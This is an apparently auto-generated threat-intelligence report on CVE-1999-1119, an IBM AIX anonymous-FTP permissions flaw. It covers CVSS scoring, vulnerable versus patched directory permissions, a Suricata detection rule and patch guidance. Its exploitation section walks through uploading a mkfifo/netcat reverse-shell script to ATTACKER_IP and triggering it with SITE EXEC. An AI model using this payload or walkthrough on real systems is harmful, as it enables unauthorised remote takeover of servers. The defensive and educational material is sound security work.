CVE-1999-1119
Executive Summary
This report provides a detailed analysis of CVE-1999-1119, a critical remote command execution (RCE) vulnerability affecting IBM AIX systems. The vulnerability stems from the anon.ftp installation script, which, when executed, configures the anonymous FTP service with dangerously insecure file system permissions. An unauthenticated remote attacker can exploit this misconfiguration to upload malicious executables and execute them with the privileges of the FTP user, leading to a complete compromise of the affected server.
With a CVSS score of 10.0 (Critical), this vulnerability represents a direct and severe threat. The exploit requires no authentication and can be triggered remotely with minimal complexity. IBM has long since released official patches (APARs) that fully resolve this issue. Any organization still running a vulnerable version of AIX with an unpatched anonymous FTP configuration is at extreme risk and must take immediate action to apply the official fixes or implement the recommended mitigations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H breaks down as follows:
- Attack Vector: Network (AV:N): The vulnerability is exploitable over the network without any local access required.
- Attack Complexity: Low (AC:L): An attacker does not need specialized conditions or knowledge; the exploit is straightforward.
- Privileges Required: None (PR:N): The attack can be launched by an unauthenticated, anonymous user.
- User Interaction: None (UI:N): The exploit does not require any interaction from a legitimate user.
- Scope: Changed (S:C): The exploit allows an attacker to break out of the FTP service's context and execute commands on the underlying operating system.
- Confidentiality: High (C:H): The attacker can read any file on the system, including sensitive data and credentials.
- Integrity: High (I:H): The attacker can modify or delete any file on the system, leading to data corruption, backdoor installation, and full system control.
- Availability: High (A:H): The attacker can disrupt or completely deny service, for example, by deleting critical system files or shutting down the server.
The 10.0 score signifies the highest possible threat level, indicating a trivial-to-exploit vulnerability that results in a complete system takeover by an anonymous remote attacker.
Deep Dive & Mechanics
The root cause of CVE-1999-1119 is not a flaw in the FTP daemon binary itself, but rather a critical misconfiguration created by the IBM-provided anon.ftp setup script. This script was designed to simplify the creation of an anonymous FTP user and environment. However, it assigned improper, overly permissive ownership and permissions to the FTP user's home directory (~ftp) and its subdirectories.
The most common exploitation vector involves the following weaknesses:
- Writable
binDirectory: The script creates a~ftp/bindirectory and often leaves it writable by theftpuser (the user context for anonymous sessions). - Path Resolution Abuse: The FTP daemon's environment may be configured to include
~ftp/binin its execution path. The script populates this directory with legitimate binaries likels. - Command Execution: An attacker connects as
anonymous, navigates to the writable~ftp/bindirectory, and uploads a malicious executable (e.g., a reverse shell) named after a legitimate command, such asls. - Triggering the Exploit: When the FTP daemon is triggered to execute the command
ls(either through aSITE EXECcommand or other server-specific functionality), it finds and executes the attacker's malicious version in~ftp/bininstead of the system's/bin/ls. This grants the attacker remote code execution on the server.
A secondary vector involves a writable FTP home directory (~ftp), which would allow an attacker to create files like .rhosts. If the rsh or rlogin services are enabled, this could be leveraged for direct shell access.
Vulnerable vs. Patched Code
The vulnerability lies in the permissions set by the shell script, not in a compilable codebase. Below is an illustrative comparison of the file system state created by the vulnerable script versus the state after applying the patch.
Vulnerable Configuration (Result of anon.ftp script)
The script would execute commands that result in a file system state similar to this:
# ls -la /home/
drwxrwxrwx 5 ftp staff 512 Jan 01 1999 ftp
# ls -la /home/ftp/
drwxrwxrwx 2 ftp staff 512 Jan 01 1999 bin
drwxr-xr-x 2 ftp staff 512 Jan 01 1999 etc
drwxr-xr-x 2 ftp staff 512 Jan 01 1999 pub
The critical flaw is drwxrwxrwx on /home/ftp/bin, which grants the ftp user (and thus any anonymous user) write permissions, allowing them to upload malicious files.
Patched Configuration (Secure State)
The patched version of the anon.ftp script, or a manually secured system, would enforce a secure-by-default permission model where the FTP user cannot write to sensitive directories.
# ls -la /home/
dr-xr-xr-x 5 root system 512 Jan 02 1999 ftp
# ls -la /home/ftp/
dr-xr-xr-x 2 root system 512 Jan 02 1999 bin
dr-xr-xr-x 2 root system 512 Jan 02 1999 etc
drwxr-xr-x 2 root system 512 Jan 02 1999 pub
In this secure state, the home directory and its critical subdirectories are owned by root and are not writable by the ftp user, completely neutralizing the exploitation vector.
Exploitation & Lab Setup
Exploiting this vulnerability is straightforward and requires only a standard FTP client.
Lab Setup
- A virtual machine running a vulnerable version of IBM AIX (e.g., 4.1, 4.2, 4.3).
- On the AIX system, run the vulnerable
anon.ftpscript to initialize the insecure anonymous FTP environment. - Ensure the
ftpdservice is running and accessible from the attacker's machine. - An attacker machine with netcat and an FTP client installed.
Exploitation Steps
Create a Payload: On the attacker machine, create a simple shell script payload named
lsto establish a reverse shell.#!/bin/sh # Payload: ls rm /tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/fStart a Listener: On the attacker machine, start a netcat listener to catch the incoming shell.
nc -lvnp 4444Connect and Upload: Use an FTP client to connect to the target and upload the payload.
ftp TARGET_IP Name: anonymous Password: user@example.com ftp> cd bin 250 CWD command successful. ftp> put ls 200 PORT command successful. 150 Opening ASCII mode data connection for ls. 226 Transfer complete. ftp> site chmod 755 ls 200 CHMOD command successful.Trigger Execution: The final step depends on the FTP daemon's features. A common method is the
SITE EXECcommand.ftp> site exec lsReceive Shell: If successful, the netcat listener on the attacker's machine will receive a connection, providing a remote shell on the target AIX server.
Detection Engineering
Blue Teams can detect attempts to exploit this vulnerability by monitoring FTP traffic for the characteristic pattern of an anonymous user uploading an executable file to a sensitive directory and then attempting to execute it.
The following Suricata rule detects this attack chain by identifying an anonymous login, a change to the bin directory, an upload (STOR), and a subsequent SITE command often used for execution or permission changes.
alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"ET EXPLOIT IBM AIX anon.ftp RCE Attempt (CVE-1999-1119)"; flow:to_server,established; content:"USER anonymous"; nocase; pcre:"/CWD\s+.*\/(bin|etc)/i"; content:"STOR "; distance:0; content:"SITE "; distance:0; reference:cve,1999-1119; classtype:attempted-admin; sid:19991119; rev:1;)
Rule Breakdown:
alert tcp ... -> $HOME_NET 21: Triggers on TCP traffic destined for port 21 (FTP).flow:to_server,established: Looks at client-to-server traffic in an established session.content:"USER anonymous"; nocase;: Matches the anonymous login command.pcre:"/CWD\s+.*\/(bin|etc)/i";: Uses a regular expression to detect a change into thebinoretcdirectory.content:"STOR "; distance:0;: Looks for a file upload command immediately following.content:"SITE "; distance:0;: Looks for aSITEcommand immediately following the upload, which is a strong indicator of a malicious action.
Remediation & Mitigation
Applying the official IBM patch is the primary and most effective remediation.
Apply Official Patch: Immediately install the relevant Authorized Program Analysis Report (APAR) for your AIX version.
- AIX 4.3: APAR IY01185
- AIX 4.2: APAR IY01189
- AIX 4.1: APAR IY01190
These patches update the
anon.ftpscript to create the FTP directory structure with secure permissions.
Disable Anonymous FTP: If anonymous FTP access is not a business requirement, it is highly recommended to disable it completely. This is the most secure posture and eliminates this and other potential anonymous-access vulnerabilities.
Manual Permission Hardening: If patching is not immediately feasible, manually correct the file system permissions for the FTP user's home directory.
- Ensure the FTP home directory (
~ftp) and its subdirectories (bin,etc) are owned byroot. - Set permissions to be non-writable by the
ftpuser (e.g.,chmod 555).
# Example commands to secure the environment chown root:system ~ftp chmod 555 ~ftp chown root:system ~ftp/bin chmod 555 ~ftp/bin chown root:system ~ftp/etc chmod 555 ~ftp/etc- Ensure the FTP home directory (
Modern Alternatives: For any new deployments, strongly consider using more secure file transfer protocols like SFTP (SSH File Transfer Protocol) or FTPS (FTP over SSL/TLS) instead of traditional FTP. These protocols provide encryption and more robust security controls.
[!] This Threat Intelligence report was automatically generated by Valters IT (valtersit.com) Neural Engine.
{/* [Security Hash: 84A4CBFE537B4A620132D90B] */}
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.